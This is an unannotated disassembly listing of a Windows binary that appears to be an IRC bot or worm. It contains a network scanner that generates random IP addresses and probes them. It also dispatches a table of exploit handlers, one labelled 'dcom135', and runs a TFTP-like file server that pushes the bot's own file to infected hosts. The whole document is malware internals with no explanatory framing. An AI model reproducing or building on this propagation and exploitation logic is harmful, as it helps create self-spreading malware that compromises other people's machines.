		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_10], edi
		jnz	short loc_406CDC
		push	190h
		nop
		call	near ptr 25F0439h
		call	dword_43F5FC
		push	eax
		lea	eax, [ebp+var_780]
		push	offset unk_42AC38
		push	eax
		call	sub_4172B0
		add	esp, 0Ch
		cmp	[ebp+var_E0], ebx
		jnz	short loc_406CBC
		push	ebx
		lea	eax, [ebp+var_780]
		push	[ebp+var_E4]
		push	eax
		lea	eax, [ebp+var_164]
		push	eax
		push	[ebp+var_37C]
		call	sub_40D679
		add	esp, 14h


loc_406CBC:				; CODE XREF: sub_406C19+7Ej
		lea	eax, [ebp+var_780]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_170]
		call	sub_417078
		pop	ecx
		pop	ecx
		push	ebx
		nop
		call	near ptr 25E02EAh


loc_406CDC:				; CODE XREF: sub_406C19+50j
		mov	eax, [ebp+var_170]
		push	10h
		imul	eax, 234h
		push	ebx
		mov	dword_4450CC[eax], edi
		lea	eax, [ebp+var_44]
		push	eax
		call	sub_417330
		add	esp, 0Ch
		mov	[ebp+var_44], 2
		push	[ebp+var_168]
		call	dword_43F668
		mov	[ebp+var_42], ax
		lea	eax, [ebp+var_44]
		push	10h
		push	eax
		push	edi
		mov	[ebp+var_40], ebx
		call	dword_43F694
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_406D41
		push	1388h
		call	near ptr 25F0439h
		nop
		dec	[ebp+var_16C]
		push	[ebp+arg_0]
		jmp	loc_407104
; ---------------------------------------------------------------------------


loc_406D41:				; CODE XREF: sub_406C19+10Dj
		lea	eax, [ebp+var_378]
		push	offset aRb	; "rb"
		push	eax
		call	sub_4179A8
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_8], eax
		jnz	short loc_406DBF
		push	190h
		call	near ptr 25F0439h
		nop
		lea	eax, [ebp+var_378]
		push	eax
		lea	eax, [ebp+var_780]
		push	offset unk_42AC04
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_780]
		push	[ebp+var_E4]
		push	eax
		lea	eax, [ebp+var_164]
		push	eax
		push	[ebp+var_37C]
		call	sub_40D679
		lea	eax, [ebp+var_780]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_170]
		call	sub_417078
		add	esp, 28h
		push	ebx
		nop
		call	near ptr 25E02EAh


loc_406DBF:				; CODE XREF: sub_406C19+140j
		mov	esi, 200h


loc_406DC4:				; CODE XREF: sub_406C19+4A5j
		mov	eax, [ebp+arg_0]
		cmp	[eax+2A0h], ebx
		jz	loc_4070C4
		mov	[ebp+var_880], edi
		mov	edi, 80h
		push	edi
		lea	eax, [ebp+var_D8]
		push	ebx
		push	eax
		mov	[ebp+var_34], 5
		mov	[ebp+var_30], 1388h
		mov	[ebp+var_884], 1
		call	sub_417330
		add	esp, 0Ch
		lea	eax, [ebp+var_34]
		push	eax
		push	ebx
		lea	eax, [ebp+var_884]
		push	ebx
		push	eax
		push	ebx
		call	dword_43F650
		test	eax, eax
		jle	loc_4070B8
		mov	al, byte_43C80C
		mov	ecx, edi
		mov	[ebp+var_580], al
		xor	eax, eax
		lea	edi, [ebp+var_57F]
		mov	[ebp+var_4], 10h
		rep stosd
		stosw
		stosb
		mov	edi, [ebp+var_10]
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_2C]
		push	eax
		push	ebx
		lea	eax, [ebp+var_D8]
		push	80h
		push	eax
		push	edi
		call	dword_43F640
		push	[ebp+var_28]
		mov	[ebp+var_C], eax
		call	dword_43F6F4
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		call	sub_4172B0
		cmp	[ebp+var_D8], bl
		pop	ecx
		pop	ecx
		jnz	loc_4070A2
		cmp	[ebp+var_D7], 1
		jnz	loc_406FEE
		lea	eax, [ebp+var_274]
		push	eax
		call	sub_417AB0
		lea	eax, [ebp+eax+var_D5]
		mov	[ebp+var_14], eax
		lea	eax, [ebp+var_274]
		push	eax
		call	sub_417AB0
		push	eax
		lea	eax, [ebp+var_D6]
		push	eax
		lea	eax, [ebp+var_274]
		push	eax
		call	sub_418DA0
		add	esp, 14h
		test	eax, eax
		jnz	loc_406FA8
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_417AB0
		push	eax
		lea	eax, [ebp+var_1C]
		push	[ebp+var_14]
		push	eax
		call	sub_418DA0
		add	esp, 10h
		test	eax, eax
		jnz	loc_406FA8
		push	ebx
		push	ebx
		push	[ebp+var_8]
		call	sub_418D0E
		push	[ebp+var_8]
		lea	eax, [ebp+var_57C]
		mov	[ebp+var_580], bl
		mov	[ebp+var_57F], 3
		push	esi
		push	1
		push	eax
		mov	[ebp+var_57E], bl
		mov	[ebp+var_57D], 1
		call	sub_418A86
		add	esp, 1Ch
		lea	ecx, [ebp+var_2C]
		mov	[ebp+var_C], eax
		add	eax, 4
		push	[ebp+var_4]
		push	ecx
		push	ebx
		push	eax
		lea	eax, [ebp+var_580]
		push	eax
		push	edi
		call	dword_43F6CC
		lea	eax, [ebp+var_378]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		push	offset dword_42ABBC


loc_406F5C:				; CODE XREF: sub_406C19+484j
		lea	eax, [ebp+var_780]
		push	eax
		call	sub_4172B0
		add	esp, 10h
		cmp	[ebp+var_E0], ebx
		jnz	short loc_406F96
		push	ebx
		lea	eax, [ebp+var_780]
		push	[ebp+var_E4]
		push	eax
		lea	eax, [ebp+var_164]
		push	eax
		push	[ebp+var_37C]
		call	sub_40D679
		add	esp, 14h


loc_406F96:				; CODE XREF: sub_406C19+358j
		lea	eax, [ebp+var_780]
		push	eax
		call	sub_40BF6D
		pop	ecx
		jmp	loc_4070B8
; ---------------------------------------------------------------------------


loc_406FA8:				; CODE XREF: sub_406C19+2B6j
					; sub_406C19+2D7j
		push	[ebp+var_4]
		lea	eax, [ebp+var_2C]
		push	eax
		push	ebx
		push	13h
		push	offset dword_42ABA8
		push	edi
		call	dword_43F6CC
		lea	eax, [ebp+var_274]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		lea	eax, [ebp+var_D8]
		push	offset unk_42AB74
		push	eax
		call	sub_4172B0
		lea	eax, [ebp+var_D8]
		push	eax
		call	sub_40BF6D
		add	esp, 14h
		jmp	loc_4070B8
; ---------------------------------------------------------------------------


loc_406FEE:				; CODE XREF: sub_406C19+275j
		cmp	[ebp+var_D7], 4
		jnz	loc_4070A2
		mov	cl, [ebp+var_D5]
		mov	al, [ebp+var_D6]
		cmp	cl, 0FFh
		mov	[ebp+var_580], bl
		mov	[ebp+var_57F], 3
		jnz	short loc_40702B
		inc	al
		xor	cl, cl
		mov	[ebp+var_57E], al
		mov	[ebp+var_57D], bl
		jmp	short loc_407039
; ---------------------------------------------------------------------------


loc_40702B:				; CODE XREF: sub_406C19+3FEj
		inc	cl
		mov	[ebp+var_57E], al
		mov	[ebp+var_57D], cl


loc_407039:				; CODE XREF: sub_406C19+410j
		movzx	eax, al
		movzx	ecx, cl
		shl	eax, 8
		add	eax, ecx
		push	ebx
		shl	eax, 9
		sub	eax, esi
		push	eax
		push	[ebp+var_8]
		call	sub_418D0E
		push	[ebp+var_8]
		lea	eax, [ebp+var_57C]
		push	esi
		push	1
		push	eax
		call	sub_418A86
		add	esp, 1Ch
		mov	edi, eax
		lea	eax, [ebp+var_2C]
		mov	[ebp+var_C], edi
		push	[ebp+var_4]
		push	eax
		lea	eax, [edi+4]
		push	ebx
		push	eax


loc_407079:				; DATA XREF: ___:004282F8o
					; ___:0042830Co ...
		lea	eax, [ebp+var_580]
		push	eax
		push	[ebp+var_10]
		call	dword_43F6CC
		cmp	edi, ebx
		jnz	short loc_4070B8
		lea	eax, [ebp+var_378]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		push	offset dword_42AB20
		jmp	loc_406F5C
; ---------------------------------------------------------------------------


loc_4070A2:				; CODE XREF: sub_406C19+268j
					; sub_406C19+3DCj
		push	[ebp+var_4]
		lea	eax, [ebp+var_2C]
		push	eax
		push	ebx
		push	9
		push	offset dword_42AB14
		push	edi
		call	dword_43F6CC


loc_4070B8:				; CODE XREF: sub_406C19+204j
					; sub_406C19+38Aj ...
		cmp	[ebp+var_C], ebx
		mov	edi, [ebp+var_10]
		jg	loc_406DC4


loc_4070C4:				; CODE XREF: sub_406C19+1B4j
		push	edi
		call	dword_43F700
		push	[ebp+var_8]
		call	sub_417900
		mov	esi, [ebp+arg_0]
		dec	[ebp+var_16C]
		pop	ecx
		cmp	[esi+2A0h], ebx
		jnz	short loc_4070F8
		push	[ebp+var_170]
		call	sub_417078
		pop	ecx
		push	ebx
		call	near ptr 25E02EAh
		nop


loc_4070F8:				; CODE XREF: sub_406C19+4CAj
		push	3E8h
		nop
		call	near ptr 25F0439h
		push	esi


loc_407104:				; CODE XREF: sub_406C19+123j
		call	sub_406C19
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_406C19	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407110	proc near		; CODE XREF: sub_40EE72+5D3Fp

var_400		= byte ptr -400h
var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 400h
		push	ebx
		push	edi
		lea	eax, [ebp+var_200]
		push	offset unk_42B134
		push	eax
		xor	ebx, ebx
		call	sub_4172B0
		cmp	dword_42ACB0, ebx
		pop	ecx
		pop	ecx
		mov	edi, 200h
		jz	short loc_40717E
		push	esi
		mov	esi, offset dword_42ACB8


loc_407143:				; CODE XREF: sub_407110+6Bj
		mov	eax, [esi]
		add	ebx, eax
		push	eax
		lea	eax, [esi-26h]
		push	eax
		lea	eax, [ebp+var_400]
		push	offset aSD	; " %s:	%d,"
		push	eax
		call	sub_4172B0
		lea	eax, [ebp+var_400]
		push	edi
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_418DE0
		add	esi, 3Ch
		add	esp, 1Ch
		cmp	dword ptr [esi-8], 0
		jnz	short loc_407143
		pop	esi


loc_40717E:				; CODE XREF: sub_407110+2Bj
		push	dword_489C50
		call	sub_40B721
		pop	ecx
		push	eax
		push	ebx
		lea	eax, [ebp+var_400]
		push	offset aTotalDInS_ ; " Total: %d in %s."
		push	eax
		call	sub_4172B0
		lea	eax, [ebp+var_400]
		push	edi
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_418DE0
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_40BF6D
		add	esp, 34h
		pop	edi
		pop	ebx
		leave
		retn
sub_407110	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4071DB	proc near		; CODE XREF: sub_40EE72+56B3p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	8
		call	sub_416FA4
		test	eax, eax
		pop	ecx
		jle	short loc_407217
		mov	eax, [ebp+arg_C]
		push	dword_43C848[eax*8]
		call	dword_43F6F4
		push	eax
		lea	eax, [ebp+var_200]
		push	offset unk_42B198
		push	eax
		call	sub_4172B0
		add	esp, 0Ch
		jmp	short loc_40722A
; ---------------------------------------------------------------------------


loc_407217:				; CODE XREF: sub_4071DB+13j
		lea	eax, [ebp+var_200]
		push	offset unk_42B168
		push	eax
		call	sub_4172B0
		pop	ecx
		pop	ecx


loc_40722A:				; CODE XREF: sub_4071DB+3Aj
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_40BF6D
		add	esp, 18h
		leave
		retn
sub_4071DB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407252	proc near		; CODE XREF: sub_40797F+4Fp

var_210		= dword	ptr -210h
var_204		= byte ptr -204h
var_4		= byte ptr -4
arg_10		= byte ptr  18h
arg_90		= byte ptr  98h
arg_110		= dword	ptr  118h
arg_130		= dword	ptr  138h
arg_138		= dword	ptr  140h
arg_13C		= dword	ptr  144h

		push	ebp
		mov	ebp, esp
		sub	esp, 204h
		mov	eax, [ebp+arg_130]
		push	ebx
		cmp	eax, 0FFFFFFFFh
		push	esi
		jz	loc_4075E2
		imul	eax, 3Ch
		xor	ebx, ebx
		cmp	dword_42ACBC[eax], ebx
		jz	loc_4074C3
		push	4
		call	sub_416FA4
		test	eax, eax
		pop	ecx
		jnz	loc_4075E2
		mov	eax, dword_42F5AC
		push	edi
		mov	edi, offset dword_43D804
		push	104h
		push	edi
		push	ebx
		mov	dword_43DA14, eax
		mov	dword_43DA10, ebx
		call	near ptr 2640000h
		nop
		push	103h
		mov	esi, offset dword_43D908
		push	offset byte_42F674
		push	esi
		call	sub_418C10
		mov	eax, [ebp+arg_110]
		add	esp, 0Ch
		cmp	[ebp+arg_90], bl
		mov	dword_43D800, eax
		mov	eax, [ebp+arg_138]
		push	7Fh
		mov	dword_43DA98, eax
		jnz	short loc_407305
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_43DA18
		call	sub_418C10
		add	esp, 0Ch
		mov	dword_43DA9C, 1
		jmp	short loc_40731F
; ---------------------------------------------------------------------------


loc_407305:				; CODE XREF: sub_407252+94j
		lea	eax, [ebp+arg_90]
		push	eax
		push	offset dword_43DA18
		call	sub_418C10
		add	esp, 0Ch
		mov	dword_43DA9C, ebx


loc_40731F:				; CODE XREF: sub_407252+B1j
		push	esi
		push	edi
		push	dword_43DA14
		lea	eax, [ebp+var_204]
		push	offset unk_42B328
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_204]
		push	4
		push	eax
		call	sub_416D5C
		add	esp, 20h
		mov	dword_43DA0C, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_43D800
		push	offset sub_406C19
		push	ebx
		push	ebx
		call	near ptr 2660D4Bh
		nop
		mov	ecx, dword_43DA0C
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4450D4[ecx], eax
		jz	short loc_40738E


loc_40737C:				; CODE XREF: sub_407252+13Aj
		cmp	dword_43DAA0, ebx
		jnz	short loc_4073A9
		push	32h
		nop
		call	near ptr 25F0439h
		jmp	short loc_40737C
; ---------------------------------------------------------------------------


loc_40738E:				; CODE XREF: sub_407252+128j
		nop
		call	near ptr 2630313h
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_42B2E8
		push	eax
		call	sub_4172B0
		add	esp, 0Ch


loc_4073A9:				; CODE XREF: sub_407252+130j
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_40BF6D
		mov	edi, offset dword_43DE5C
		mov	[esp+210h+var_210], 104h
		push	edi
		push	ebx
		mov	dword_43E068, ebx
		call	near ptr 2640000h
		nop
		push	103h
		mov	esi, offset dword_43DF60
		push	offset byte_42F674
		push	esi
		call	sub_418C10
		mov	eax, [ebp+arg_110]
		add	esp, 0Ch
		cmp	[ebp+arg_90], bl
		mov	dword_43DE58, eax
		mov	eax, [ebp+arg_138]
		push	7Fh
		mov	dword_43E0F0, eax
		jnz	short loc_407424
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_43E070
		call	sub_418C10
		add	esp, 0Ch
		mov	dword_43E0F4, 1
		jmp	short loc_40743E
; ---------------------------------------------------------------------------


loc_407424:				; CODE XREF: sub_407252+1B3j
		lea	eax, [ebp+arg_90]
		push	eax
		push	offset dword_43E070
		call	sub_418C10
		add	esp, 0Ch
		mov	dword_43E0F4, ebx


loc_40743E:				; CODE XREF: sub_407252+1D0j
		push	esi
		push	edi
		push	dword_43E06C
		lea	eax, [ebp+var_204]
		push	offset dword_42B298
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_204]
		push	5
		push	eax
		call	sub_416D5C
		add	esp, 20h
		mov	dword_43E064, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_43DE58
		push	offset sub_4053D5
		push	ebx
		push	ebx
		call	near ptr 2660D4Bh
		nop
		mov	ecx, dword_43E064
		pop	edi
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4450D4[ecx], eax
		jz	short loc_4074B2


loc_40749C:				; CODE XREF: sub_407252+25Ej
		cmp	dword_43E0F8, ebx
		jnz	loc_4075D5
		push	32h
		call	near ptr 25F0439h
		nop
		jmp	short loc_40749C
; ---------------------------------------------------------------------------


loc_4074B2:				; CODE XREF: sub_407252+248j
		nop
		call	near ptr 2630313h
		push	eax
		push	offset dword_42B258
		jmp	loc_4075C6
; ---------------------------------------------------------------------------


loc_4074C3:				; CODE XREF: sub_407252+25j
		cmp	dword_42ACC0[eax], ebx
		jz	loc_4075E2
		push	3
		call	sub_416FA4
		test	eax, eax
		pop	ecx
		jnz	loc_4075E2
		mov	esi, offset dword_43DD34
		push	104h
		push	esi
		push	ebx
		call	near ptr 2640000h
		nop
		push	5Ch
		push	esi
		call	sub_418F10
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_407501
		mov	[eax], bl


loc_407501:				; CODE XREF: sub_407252+2ABj
		mov	eax, dword_42F5B0
		mov	dword_43DE4C, ebx
		mov	dword_43DE38, eax
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_43DAAC
		call	sub_4172B0
		mov	eax, [ebp+arg_110]
		pop	ecx
		pop	ecx
		mov	dword_43DAA8, eax
		mov	ecx, [ebp+arg_138]
		push	esi
		push	dword_43DE38
		mov	dword_43DE44, ecx
		mov	ecx, [ebp+arg_13C]
		push	eax
		mov	dword_43DE48, ecx
		call	sub_40AEE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_42B20C
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_204]
		push	3
		push	eax
		call	sub_416D5C
		add	esp, 20h
		mov	dword_43DE40, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_43DAA8
		push	offset sub_405AF2
		push	ebx
		push	ebx
		nop
		call	near ptr 2660D4Bh
		mov	ecx, dword_43DE40
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4450D4[ecx], eax
		jz	short loc_4075BA


loc_4075A8:				; CODE XREF: sub_407252+366j
		cmp	dword_43DE54, ebx
		jnz	short loc_4075D5
		push	32h
		nop
		call	near ptr 25F0439h
		jmp	short loc_4075A8
; ---------------------------------------------------------------------------


loc_4075BA:				; CODE XREF: sub_407252+354j
		call	near ptr 2630313h
		nop
		push	eax
		push	offset unk_42B1C8


loc_4075C6:				; CODE XREF: sub_407252+26Cj
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_4172B0
		add	esp, 0Ch


loc_4075D5:				; CODE XREF: sub_407252+250j
					; sub_407252+35Cj
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_40BF6D
		pop	ecx


loc_4075E2:				; CODE XREF: sub_407252+14j
					; sub_407252+35j ...
		pop	esi
		pop	ebx
		leave
		retn
sub_407252	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4075E6	proc near		; CODE XREF: sub_407767:loc_4077D8p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		push	esi
		push	4
		lea	esi, ds:43C848h[eax*8]
		lea	eax, [ebp+arg_0]
		push	esi
		push	eax
		call	sub_417390
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	dword_43F59C
		inc	eax
		push	eax
		mov	[ebp+arg_0], eax
		call	dword_43F664
		mov	[ebp+arg_0], eax
		lea	eax, [ebp+arg_0]
		push	4
		push	eax
		push	esi
		call	sub_417390
		mov	eax, [esi]
		add	esp, 0Ch
		pop	esi
		pop	ebp
		retn
sub_4075E6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40762E	proc near		; CODE XREF: sub_407767+69p

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		or	esi, 0FFFFFFFFh
		push	[ebp+arg_0]
		mov	[ebp+var_C], esi
		mov	[ebp+var_8], esi
		mov	[ebp+var_4], esi
		mov	[ebp+var_10], esi
		call	sub_417AB0
		cmp	eax, 0Fh
		pop	ecx
		jbe	short loc_407656
		xor	eax, eax
		jmp	short loc_4076C7
; ---------------------------------------------------------------------------


loc_407656:				; CODE XREF: sub_40762E+22j
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	[ebp+arg_0]
		call	sub_418A52
		add	esp, 18h
		cmp	[ebp+var_C], esi
		jnz	short loc_407683
		call	sub_41730C
		mov	[ebp+var_C], eax


loc_407683:				; CODE XREF: sub_40762E+4Bj
		cmp	[ebp+var_8], esi
		jnz	short loc_407690
		call	sub_41730C
		mov	[ebp+var_8], eax


loc_407690:				; CODE XREF: sub_40762E+58j
		cmp	[ebp+var_4], esi
		jnz	short loc_40769D
		call	sub_41730C
		mov	[ebp+var_4], eax


loc_40769D:				; CODE XREF: sub_40762E+65j
		mov	eax, [ebp+var_10]
		cmp	eax, esi
		jnz	short loc_4076A9
		call	sub_41730C


loc_4076A9:				; CODE XREF: sub_40762E+74j
		shl	eax, 8
		add	eax, [ebp+var_4]
		mov	ecx, [ebp+var_C]
		shl	eax, 8
		add	eax, [ebp+var_8]
		shl	eax, 8
		add	eax, ecx
		mov	ecx, [ebp+arg_4]
		mov	dword_43C848[ecx*8], eax


loc_4076C7:				; CODE XREF: sub_40762E+26j
		pop	esi
		leave
		retn
sub_40762E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4076CA	proc near		; CODE XREF: sub_407767+BBp
					; sub_40D4C5+30p

var_120		= dword	ptr -120h
var_11C		= dword	ptr -11Ch
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 120h
		push	ebx
		push	esi
		push	edi
		push	1
		pop	edi
		xor	ebx, ebx
		push	ebx
		push	edi
		push	2
		mov	[ebp+var_4], edi
		call	dword_43F6E8
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_4076F3
		xor	eax, eax
		jmp	short loc_407762
; ---------------------------------------------------------------------------


loc_4076F3:				; CODE XREF: sub_4076CA+23j
		mov	eax, [ebp+arg_0]
		push	[ebp+arg_4]
		mov	[ebp+var_1C], 2
		mov	[ebp+var_18], eax
		call	dword_43F668
		mov	[ebp+var_1A], ax
		lea	eax, [ebp+var_4]
		push	eax
		push	8004667Eh
		push	esi
		call	dword_43F704
		lea	eax, [ebp+var_1C]
		push	10h
		push	eax
		push	esi
		call	dword_43F610
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_8], ebx
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_120]
		push	ebx
		push	eax
		push	ebx
		push	ebx
		mov	[ebp+var_11C], esi
		mov	[ebp+var_120], edi
		call	dword_43F650
		push	esi
		mov	edi, eax
		call	dword_43F700
		xor	eax, eax
		cmp	edi, ebx
		setnle	al


loc_407762:				; CODE XREF: sub_4076CA+27j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4076CA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407767	proc near		; DATA XREF: sub_40797F+13Bo

var_2A8		= dword	ptr -2A8h
var_28C		= byte ptr -28Ch
var_20C		= dword	ptr -20Ch
var_208		= byte ptr -208h
var_1F8		= byte ptr -1F8h
var_178		= byte ptr -178h
var_16C		= dword	ptr -16Ch
var_168		= dword	ptr -168h
var_164		= dword	ptr -164h
var_15C		= dword	ptr -15Ch
var_158		= dword	ptr -158h
var_150		= byte ptr -150h
var_140		= byte ptr -140h
var_C0		= byte ptr -0C0h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_20		= dword	ptr -20h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 28Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	53h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_150]
		rep movsd
		mov	esi, [ebp+var_2C]
		mov	dword ptr [eax+148h], 1
		mov	eax, [ebp+var_28]
		mov	[ebp+var_4], esi
		mov	[ebp+arg_0], eax
		nop
		call	near ptr 25E08E4h
		push	eax
		call	sub_417302
		mov	ebx, esi
		pop	ecx
		imul	ebx, 234h


loc_4077AE:				; CODE XREF: sub_407767+204j
		mov	eax, dword_4450C4[ebx]
		cmp	dword_43C84C[eax*8], 0
		jz	loc_407970
		cmp	[ebp+var_10], 0
		push	eax
		jz	short loc_4077D8
		lea	eax, [ebp+var_150]
		push	eax
		call	sub_40762E
		pop	ecx
		jmp	short loc_4077DD
; ---------------------------------------------------------------------------


loc_4077D8:				; CODE XREF: sub_407767+60j
		call	sub_4075E6


loc_4077DD:				; CODE XREF: sub_407767+6Fj
		pop	ecx
		mov	edi, eax
		push	[ebp+arg_0]
		push	dword_4450C4[ebx]
		push	[ebp+var_3C]
		push	edi
		call	dword_43F6F4
		push	eax
		lea	eax, [ebp+var_28C]
		push	offset unk_42B3BC
		push	eax
		call	sub_4172B0
		add	esp, 18h
		lea	eax, [ebp+var_28C]
		push	eax
		lea	eax, dword_444EC0[ebx]
		push	eax
		call	sub_4172B0
		push	[ebp+var_38]
		push	[ebp+var_3C]
		push	edi
		call	sub_4076CA
		add	esp, 14h
		cmp	eax, 1
		jnz	loc_407960
		cmp	[ebp+var_20], 0FFFFFFFFh
		jnz	short loc_4078B4
		push	offset dword_43D7E8
		nop
		call	near ptr 77F7E21Fh
		push	[ebp+var_3C]
		push	edi
		call	dword_43F6F4
		push	eax
		lea	eax, [ebp+var_28C]
		push	offset unk_42B384
		push	eax
		call	sub_4172B0
		add	esp, 10h
		cmp	[ebp+var_14], 0
		jnz	short loc_407896
		cmp	[ebp+var_C0], 0
		push	1
		push	[ebp+var_18]
		lea	eax, [ebp+var_28C]
		push	eax
		lea	eax, [ebp+var_C0]
		jnz	short loc_40788A
		lea	eax, [ebp+var_140]


loc_40788A:				; CODE XREF: sub_407767+11Bj
		push	eax
		push	[ebp+var_40]
		call	sub_40D679
		add	esp, 14h


loc_407896:				; CODE XREF: sub_407767+100j
		lea	eax, [ebp+var_28C]
		push	eax
		call	sub_40BF6D
		mov	[esp+2A8h+var_2A8], offset dword_43D7E8
		nop
		call	near ptr 77F7E300h
		jmp	loc_407960
; ---------------------------------------------------------------------------


loc_4078B4:				; CODE XREF: sub_407767+D0j
		push	edi
		call	dword_43F6F4
		push	eax
		lea	eax, [ebp+var_208]
		push	eax
		call	sub_4172B0
		mov	eax, [ebp+var_20]
		pop	ecx
		imul	eax, 3Ch
		pop	ecx
		add	eax, offset aDcom135_0 ; "dcom135"
		push	eax
		lea	eax, [ebp+var_178]
		push	eax
		call	sub_4172B0
		cmp	[ebp+var_C0], 0
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_C0]
		jnz	short loc_4078F9
		lea	eax, [ebp+var_140]


loc_4078F9:				; CODE XREF: sub_407767+18Aj
		push	eax
		lea	eax, [ebp+var_1F8]
		push	eax
		call	sub_4172B0
		mov	eax, [ebp+var_40]
		pop	ecx
		mov	[ebp+var_20C], eax
		mov	eax, [ebp+var_18]
		mov	[ebp+var_15C], eax
		mov	eax, [ebp+var_14]
		mov	[ebp+var_158], eax
		mov	eax, [ebp+var_3C]
		mov	[ebp+var_16C], eax
		mov	eax, [ebp+var_20]
		pop	ecx
		mov	[ebp+var_164], eax
		imul	eax, 3Ch
		sub	esp, 0BCh
		mov	[ebp+var_168], esi
		lea	esi, [ebp+var_20C]
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	off_42ACB4[eax]
		mov	esi, [ebp+var_4]
		add	esp, 0BCh


loc_407960:				; CODE XREF: sub_407767+C6j
					; sub_407767+148j
		push	7D0h
		nop
		call	near ptr 25F0439h
		jmp	loc_4077AE
; ---------------------------------------------------------------------------


loc_407970:				; CODE XREF: sub_407767+55j
		push	esi
		call	sub_417078
		pop	ecx
		push	0
		nop
		call	near ptr 25E02EAh
sub_407767	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40797F	proc near		; DATA XREF: sub_40EE72+3302o
					; sub_40EE72+5137o

var_1DC		= dword	ptr -1DCh
var_1CC		= byte ptr -1CCh
var_14C		= byte ptr -14Ch
var_13C		= byte ptr -13Ch
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
